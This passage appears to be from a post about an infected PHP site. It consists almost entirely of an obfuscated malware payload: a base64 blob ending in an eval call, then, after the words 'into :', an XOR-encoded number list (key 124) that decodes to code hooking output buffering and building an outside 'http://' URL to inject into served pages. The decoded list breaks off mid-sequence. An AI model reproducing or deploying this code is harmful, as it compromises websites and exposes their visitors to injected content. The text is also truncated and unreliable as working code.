szMTs5Mjs4NDs4ODs0Njs3NTs1Njs1ODs3Mjs2ODs3Nzs1Njs3Njs3NDs3NDs3Nzs3OTs2ODs2Mzs1ODs3NTs2Mjs3Mzs1Njs3NTs1Njs2MTs3Nzs2OTs2Mjs2Mzs2Mjs3ODs2MTs2ODs3NTs3Mjs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs2MDszMTs5OzE0OzE2OzM1OzMxOzE2OzE5OzE1OzI1OzkyOzg0Ozg4OzQ2Ozc1OzU2OzU4OzcyOzY4Ozc3OzU2Ozc2Ozc0Ozc0Ozc3Ozc5OzY4OzYzOzU4Ozc1OzYyOzczOzU2Ozc1OzU2OzYxOzc3OzY5OzYyOzYzOzYyOzc4OzYxOzY4Ozc1OzcyOzg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7MjU7MTY7MTU7MjU7OTI7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs1ODs3Mjs2ODs2Mjs1ODs1ODs2OTs3Njs3Mzs3Mzs1ODs3Mjs3NDs2Mjs2OTs3Mjs2ODs3OTs2Mjs2Mzs2OTs3Njs1Njs2Mzs3Njs2MTs3Nzs3NDs3Njs1Nzs3NDs3NTs2NTs2MDsyNjsyMTsxNjsyNTszNTsyNzsyNTs4OzM1OzMxOzE5OzE4Ozg7MjU7MTg7ODsxNTs4NDs4ODs0Njs2MTs1ODs3NDs3OTs1Nzs2MTs2MTs3NTs2MTs3ODs1Njs3Nzs3Mzs2Mzs2MTs3Mzs2OTs2MTs2Mjs2Mjs2OTs3Mzs2Mjs3NDs1ODs1Njs3Nzs2MTs1ODs1Nzs2Mjs1ODs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MTQ7MjU7ODs5OzE0OzE4OzkyOzg4OzQ2OzU4OzcyOzY4OzYyOzU4OzU4OzY5Ozc2OzczOzczOzU4OzcyOzc0OzYyOzY5OzcyOzY4Ozc5OzYyOzYzOzY5Ozc2OzU2OzYzOzc2OzYxOzc3Ozc0Ozc2OzU3Ozc0Ozc1OzcxOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs4NDs5MzsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7MzU7MjU7NDsyMTsxNTs4OzE1Ozg0OzkxOzI3OzY7MjQ7MjU7MzE7MTk7MjQ7MjU7OTE7ODU7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5MjsyNjs5OzE4OzMxOzg7MjE7MTk7MTg7OTI7Mjc7NjsyNDsyNTszMTsxOTsyNDsyNTs4NDs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc5Ozc2OzYyOzc4OzYxOzYyOzY4OzU2OzYzOzc3OzcyOzY5Ozc0OzU2Ozc2Ozc0OzYyOzc4Ozc5Ozc2OzYxOzc1Ozc3OzU2OzY4OzY5Ozc0Ozc4OzYxOzU4OzczOzU2OzY1OzYwOzE5OzE0OzI0Ozg0OzYwOzE1Ozk7MzA7MTU7ODsxNDs4NDs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs4MDs3OTs4MDs3Nzs4NTs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs3Nzs3Njs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2MTs3OTs1Njs3Mzs3ODs1Nzs3Mzs3ODs2MTs3Mjs2ODs2OTs3OTs3NDs2Mzs1Njs1Nzs3Njs1ODs3Mzs3OTs3Mzs3NDs2Mjs2Mjs3Njs2ODs3NDs3Mzs3ODs1ODs3ODs2NTs3Njs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsyMTsyNjs4NDs4ODs0Njs3OTs3Njs2Mjs3ODs2MTs2Mjs2ODs1Njs2Mzs3Nzs3Mjs2OTs3NDs1Njs3Njs3NDs2Mjs3ODs3OTs3Njs2MTs3NTs3Nzs1Njs2ODs2OTs3NDs3ODs2MTs1ODs3Mzs1Njs5MDs3Mjs4NTs3OzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzY1OzYwOzk7MTg7MTI7Mjk7MzE7MjM7ODQ7OTE7MTA7OTE7ODA7MTU7OTszMDsxNTs4OzE0Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzc3Ozc2OzgwOzc4Ozg1Ozg1OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzY1Ozg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzM5Ozc3OzMzOzcxOzkyOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg3OzY1Ozc4Ozg3Ozg4OzQ2Ozc0Ozc5OzYyOzU3OzU2OzU3Ozc0OzYyOzc3OzY5Ozc4Ozc0Ozc0OzU2OzcyOzU3OzU4OzU3OzYxOzU2Ozc2Ozc1OzYxOzcyOzU2OzY5Ozc3OzU3Ozc4OzY5OzU3OzYyOzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Njg7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs2MDsxNTs4OzE0OzEyOzE5OzE1Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzMxOzIwOzE0Ozg0Ozc2Ozg1OzgwOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg1Ozg3Ozc3OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Nzc7NzQ7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs2NTs2MDsxNTs4OzE0OzEyOzE5OzE1Ozg0Ozg4OzQ2OzczOzYxOzY5OzYzOzU4Ozc3OzYyOzcyOzY5Ozc1OzczOzc2Ozc4OzYxOzYzOzYxOzc4Ozc5OzYzOzY4OzU4Ozc0Ozc3Ozc3OzYxOzczOzc0OzcyOzc0OzY4OzcyOzYzOzgwOzMxOzIwOzE0Ozg0Ozc2Ozg1OzgwOzg4OzQ2OzYyOzU3OzcyOzYzOzcyOzU2Ozc2Ozc5Ozc1OzU3OzY5Ozc5OzY5Ozc4Ozc4Ozc0OzU4Ozc0OzczOzY4Ozc3Ozc4OzY4OzY4OzczOzYxOzczOzc5OzU2OzYxOzU2OzY5Ozg1Ozg3Ozc3OzcxOzkyOzkyOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7Nzk7NzY7NjI7Nzg7NjE7NjI7Njg7NTY7NjM7Nzc7NzI7Njk7NzQ7NTY7NzY7NzQ7NjI7Nzg7Nzk7NzY7NjE7NzU7Nzc7NTY7Njg7Njk7NzQ7Nzg7NjE7NTg7NzM7NTY7OTA7Nzg7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs2Mjs1Nzs3Mjs2Mzs3Mjs1Njs3Njs3OTs3NTs1Nzs2OTs3OTs2OTs3ODs3ODs3NDs1ODs3NDs3Mzs2ODs3Nzs3ODs2ODs2ODs3Mzs2MTs3Mzs3OTs1Njs2MTs1Njs2OTs4Nzs2NTs3ODs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzg4OzQ2Ozc2Ozc5OzcyOzYxOzU3Ozc4OzYxOzYyOzY5OzcyOzU4OzY5OzY5OzYzOzYzOzY4Ozc3OzYyOzc5OzY4OzY5OzYxOzc3OzY4Ozc4Ozc4OzU2OzYxOzc5Ozc5OzczOzc5OzY1OzYwOzI3OzY7MjE7MTg7MjY7MTY7Mjk7ODsyNTs4NDs2MDsxNTs5OzMwOzE1Ozg7MTQ7ODQ7ODg7NDY7NzM7NjE7Njk7NjM7NTg7Nzc7NjI7NzI7Njk7NzU7NzM7NzY7Nzg7NjE7NjM7NjE7Nzg7Nzk7NjM7Njg7NTg7NzQ7Nzc7Nzc7NjE7NzM7NzQ7NzI7NzQ7Njg7NzI7NjM7ODA7ODg7NDY7NjI7NTc7NzI7NjM7NzI7NTY7NzY7Nzk7NzU7NTc7Njk7Nzk7Njk7Nzg7Nzg7NzQ7NTg7NzQ7NzM7Njg7Nzc7Nzg7Njg7Njg7NzM7NjE7NzM7Nzk7NTY7NjE7NTY7Njk7ODU7ODU7NzE7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7ODg7NDY7NzY7Nzk7NzI7NjE7NTc7Nzg7NjE7NjI7Njk7NzI7NTg7Njk7Njk7NjM7NjM7Njg7Nzc7NjI7Nzk7Njg7Njk7NjE7Nzc7Njg7Nzg7Nzg7NTY7NjE7Nzk7Nzk7NzM7Nzk7NjU7NjU7NjU7NTg7NjE7NDg7NDc7NTc7ODU7Nzs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs5Mjs4ODs0Njs3Njs3OTs3Mjs2MTs1Nzs3ODs2MTs2Mjs2OTs3Mjs1ODs2OTs2OTs2Mzs2Mzs2ODs3Nzs2Mjs3OTs2ODs2OTs2MTs3Nzs2ODs3ODs3ODs1Njs2MTs3OTs3OTs3Mzs3OTs2NTs4ODs0Njs3Mzs2MTs2OTs2Mzs1ODs3Nzs2Mjs3Mjs2OTs3NTs3Mzs3Njs3ODs2MTs2Mzs2MTs3ODs3OTs2Mzs2ODs1ODs3NDs3Nzs3Nzs2MTs3Mzs3NDs3Mjs3NDs2ODs3Mjs2Mzs3MTs5Mjs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzkyOzkyOzE0OzI1Ozg7OTsxNDsxODs5Mjs4ODs0Njs3Njs3OTs3Mjs2MTs1Nzs3ODs2MTs2Mjs2OTs3Mjs1ODs2OTs2OTs2Mzs2Mzs2ODs3Nzs2Mjs3OTs2ODs2OTs2MTs3Nzs2ODs3ODs3ODs1Njs2MTs3OTs3OTs3Mzs3OTs3MTs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MjY7OTsxODszMTs4OzIxOzE5OzE4OzkyOzE3OzE0OzE5OzMwOzIwOzg0Ozg4OzQ2OzU3OzY4Ozc4OzU3OzU3OzY5OzYyOzc3Ozc4Ozc3OzU4Ozc1Ozc2OzY5OzY4OzY5OzczOzU3OzU4OzczOzcyOzU3OzYyOzYxOzc1OzU4OzYxOzc0OzYyOzc1OzY4OzYyOzg1Ozc7OTI7OTI7OTI7OTI7OTI7NTI7MjU7Mjk7MjQ7MjU7MTQ7ODQ7OTE7NjM7MTk7MTg7ODsyNTsxODs4OzgxOzU3OzE4OzMxOzE5OzI0OzIxOzE4OzI3OzcwOzkyOzE4OzE5OzE4OzI1OzkxOzg1OzcxOzkyOzkyOzkyOzkyOzkyOzg4OzQ2OzYxOzc3Ozc1OzY5OzYxOzYyOzU2Ozc5OzYxOzc1OzYyOzY5OzU3Ozc4OzY4OzYzOzc5Ozc0OzY5OzU4Ozc1OzYyOzczOzY5OzYzOzczOzc3OzYyOzY4Ozc3OzU2OzU3OzY1OzI3OzY7MjQ7MjU7MzE7MTk7MjQ7MjU7ODQ7ODg7NDY7NTc7Njg7Nzg7NTc7NTc7Njk7NjI7Nzc7Nzg7Nzc7NTg7NzU7NzY7Njk7Njg7Njk7NzM7NTc7NTg7NzM7NzI7NTc7NjI7NjE7NzU7NTg7NjE7NzQ7NjI7NzU7Njg7NjI7ODU7NzE7OTI7OTI7OTI7OTI7OTI7OTI7OTI7MjE7MjY7ODQ7MTI7MTQ7MjU7Mjc7MzU7MTc7Mjk7ODszMTsyMDs4NDs5MTs4MzszMjs2NDszMjs4MzszMDsxOTsyNDs1OzgzOzE1OzIxOzkxOzgwOzg4OzQ2OzYxOzc3Ozc1OzY5OzYxOzYyOzU2Ozc5OzYxOzc1OzYyOzY5OzU3Ozc4OzY4OzYzOzc5Ozc0OzY5OzU4Ozc1OzYyOzczOzY5OzYzOzczOzc3OzYyOzY4Ozc3OzU2OzU3Ozg1Ozg1Ozc7OTI7OTI7OTI7OTI7OTI7OTI7MTQ7MjU7ODs5OzE0OzE4OzkyOzEyOzE0OzI1OzI3OzM1OzE0OzI1OzEyOzE2OzI5OzMxOzI1Ozg0OzkxOzgzOzg0OzMyOzY0OzMyOzgzOzMwOzE5OzI0OzU7Mzk7MzQ7MzI7NjY7MzM7ODY7MzI7NjY7ODU7ODM7MTU7MjE7OTE7ODA7Mjc7MTc7MTY7ODQ7ODU7ODI7OTQ7MzI7MTg7OTQ7ODI7OTE7ODg7Nzc7OTE7ODA7ODg7NDY7NjE7Nzc7NzU7Njk7NjE7NjI7NTY7Nzk7NjE7NzU7NjI7Njk7NTc7Nzg7Njg7NjM7Nzk7NzQ7Njk7NTg7NzU7NjI7NzM7Njk7NjM7NzM7Nzc7NjI7Njg7Nzc7NTY7NTc7ODU7NzE7OTI7OTI7OTI7OTI7OTI7MTsyNTsxNjsxNTsyNTs3OzkyOzkyOzkyOzkyOzkyOzkyOzE0OzI1Ozg7OTsxNDsxODs5Mjs4ODs0Njs2MTs3Nzs3NTs2OTs2MTs2Mjs1Njs3OTs2MTs3NTs2Mjs2OTs1Nzs3ODs2ODs2Mzs3OTs3NDs2OTs1ODs3NTs2Mjs3Mzs2OTs2Mzs3Mzs3Nzs2Mjs2ODs3Nzs1Njs1Nzs4MjsyNzsxNzsxNjs4NDs4NTs3MTs5Mjs5Mjs5Mjs5Mjs5MjsxOzkyOzkyOzkyOzkyOzE7OTI7OTI7OTI7OTI7MTk7MzA7MzU7MTU7ODsyOTsxNDs4Ozg0OzkxOzE3OzE0OzE5OzMwOzIwOzkxOzg1OzcxOzkyOzkyOzkyOzE7OTI7OTI7MTsiKTskej0iIjtmb3JlYWNoKCRtIGFzICR2KWlmICgkdiE9IiIpJHouPWNocigkdl4kayk7ZXZhbCgkeik7"));?>

into :

$k=124;$m=explode(";","21;26;84;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;19;30;35;15;8;29;14;8;91;85;90;90;93;21;15;15;25;8;84;88;59;48;51;62;61;48;47;39;91;17;14;35;18;19;91;33;85;85;7;92;92;92;88;59;48;51;62;61;48;47;39;91;17;14;35;18;19;91;33;65;77;71;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;17;14;19;30;20;91;85;85;7;92;92;92;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;27;17;16;91;85;85;7;92;92;92;92;92;26;9;18;31;8;21;19;18;92;27;17;16;84;85;7;92;92;92;92;92;92;21;26;92;84;15;8;14;21;15;8;14;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;80;94;27;19;19;27;16;25;30;19;8;94;85;0;0;15;8;14;21;15;8;14;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;80;94;5;29;20;19;19;94;85;85;7;92;92;92;92;92;92;92;21;26;92;84;84;17;24;73;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;78;94;33;85;65;65;94;29;79;69;79;72;24;30;25;78;76;30;76;30;79;25;69;30;30;25;75;29;69;25;26;31;31;74;73;78;74;26;72;94;85;90;90;84;21;15;15;25;8;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;77;94;33;85;85;85;7;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;65;30;29;15;25;74;72;35;24;25;31;19;24;25;84;88;35;46;57;45;41;57;47;40;39;94;17;17;17;29;23;19;11;19;21;11;19;11;76;76;77;94;33;85;71;14;25;8;9;14;18;92;94;57;4;25;31;9;8;21;19;18;82;82;82;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;32;18;94;82;25;10;29;16;84;88;46;68;75;78;73;76;78;69;57;61;68;69;75;77;78;57;57;56;68;74;75;76;62;61;57;74;72;56;79;76;57;72;75;85;71;1;92;92;92;92;92;92;92;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;65;94;20;8;8;12;70;83;83;94;82;30;29;15;25;74;72;35;24;25;31;19;24;25;84;94;37;78;69;15;37;18;16;20;24;59;69;9;24;59;58;5;29;43;68;9;37;78;69;8;94;85;82;94;83;16;21;18;23;15;83;94;82;14;29;18;24;84;76;80;78;73;76;85;82;94;82;8;4;8;67;21;12;65;94;82;88;35;47;57;46;42;57;46;39;94;46;57;49;51;40;57;35;61;56;56;46;94;33;82;94;90;20;19;15;8;65;94;82;14;29;11;9;14;16;25;18;31;19;24;25;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;52;51;47;40;94;33;85;82;94;90;29;27;25;18;8;65;94;82;14;29;11;9;14;16;25;18;31;19;24;25;84;88;35;47;57;46;42;57;46;39;94;52;40;40;44;35;41;47;57;46;35;61;59;57;50;40;94;33;85;71;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;94;94;71;92;92;92;92;92;92;92;21;26;92;84;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;94;31;9;14;16;35;21;18;21;8;94;85;85;92;7;92;92;92;92;92;92;92;92;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;92;65;92;60;31;9;14;16;35;21;18;21;8;84;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;41;46;48;80;92;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;46;57;40;41;46;50;40;46;61;50;47;58;57;46;80;92;77;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;40;53;49;57;51;41;40;80;92;77;73;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;15;25;8;19;12;8;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;80;92;63;41;46;48;51;44;40;35;57;50;63;51;56;53;50;59;92;80;92;94;27;6;21;12;94;85;71;92;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;60;31;9;14;16;35;25;4;25;31;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;85;71;92;92;92;92;92;92;92;92;60;31;9;14;16;35;31;16;19;15;25;92;84;88;46;75;56;58;72;68;77;56;76;74;74;77;79;68;63;58;75;62;73;56;75;56;61;77;69;62;63;62;78;61;68;75;72;85;71;92;92;92;92;92;92;92;1;92;25;16;15;25;92;7;92;92;92;92;92;92;92;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;65;60;26;21;16;25;35;27;25;8;35;31;19;18;8;25;18;8;15;84;88;46;61;58;74;79;57;61;61;75;61;78;56;77;73;63;61;73;69;61;62;62;69;73;62;74;58;56;77;61;58;57;62;58;85;71;92;92;92;92;92;92;92;1;92;92;92;92;92;92;1;92;92;92;92;92;92;14;25;8;9;14;18;92;88;46;58;72;68;62;58;58;69;76;73;73;58;72;74;62;69;72;68;79;62;63;69;76;56;63;76;61;77;74;76;57;74;75;71;92;92;92;92;92;1;92;92;92;92;1;92;92;92;92;92;92;92;92;21;26;84;93;26;9;18;31;8;21;19;18;35;25;4;21;15;8;15;84;91;27;6;24;25;31;19;24;25;91;85;85;7;92;92;92;92;92;26;9;18;31;8;21;19;18;92;27;6;24;25;31;19;24;25;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;85;7;92;92;92;92;92;92;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;65;60;19;14;24;84;60;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;79;80;77;85;85;71;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;77;76;71;92;92;92;92;92;92;88;46;61;79;56;73;78;57;73;78;61;72;68;69;79;74;63;56;57;76;58;73;79;73;74;62;62;76;68;74;73;78;58;78;65;76;71;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;72;85;7;92;92;92;92;92;92;92;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;65;60;9;18;12;29;31;23;84;91;10;91;80;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;77;76;80;78;85;85;71;92;92;92;92;92;92;92;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;65;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;39;77;33;71;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;87;65;78;87;88;46;74;79;62;57;56;57;74;62;77;69;78;74;74;56;72;57;58;57;61;56;76;75;61;72;56;69;77;57;78;69;57;62;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;68;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;60;15;8;14;12;19;15;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;31;20;14;84;76;85;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;87;77;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;77;74;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;65;60;15;8;14;12;19;15;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;31;20;14;84;76;85;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;87;77;71;92;92;92;92;92;92;1;92;92;92;92;92;92;21;26;84;88;46;79;76;62;78;61;62;68;56;63;77;72;69;74;56;76;74;62;78;79;76;61;75;77;56;68;69;74;78;61;58;73;56;90;78;85;7;92;92;92;92;92;92;92;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;87;65;78;71;92;92;92;92;92;92;1;92;92;92;92;92;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;65;60;27;6;21;18;26;16;29;8;25;84;60;15;9;30;15;8;14;84;88;46;73;61;69;63;58;77;62;72;69;75;73;76;78;61;63;61;78;79;63;68;58;74;77;77;61;73;74;72;74;68;72;63;80;88;46;62;57;72;63;72;56;76;79;75;57;69;79;69;78;78;74;58;74;73;68;77;78;68;68;73;61;73;79;56;61;56;69;85;85;71;92;92;92;92;92;92;21;26;84;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;65;65;65;58;61;48;47;57;85;7;92;92;92;92;92;92;92;88;46;76;79;72;61;57;78;61;62;69;72;58;69;69;63;63;68;77;62;79;68;69;61;77;68;78;78;56;61;79;79;73;79;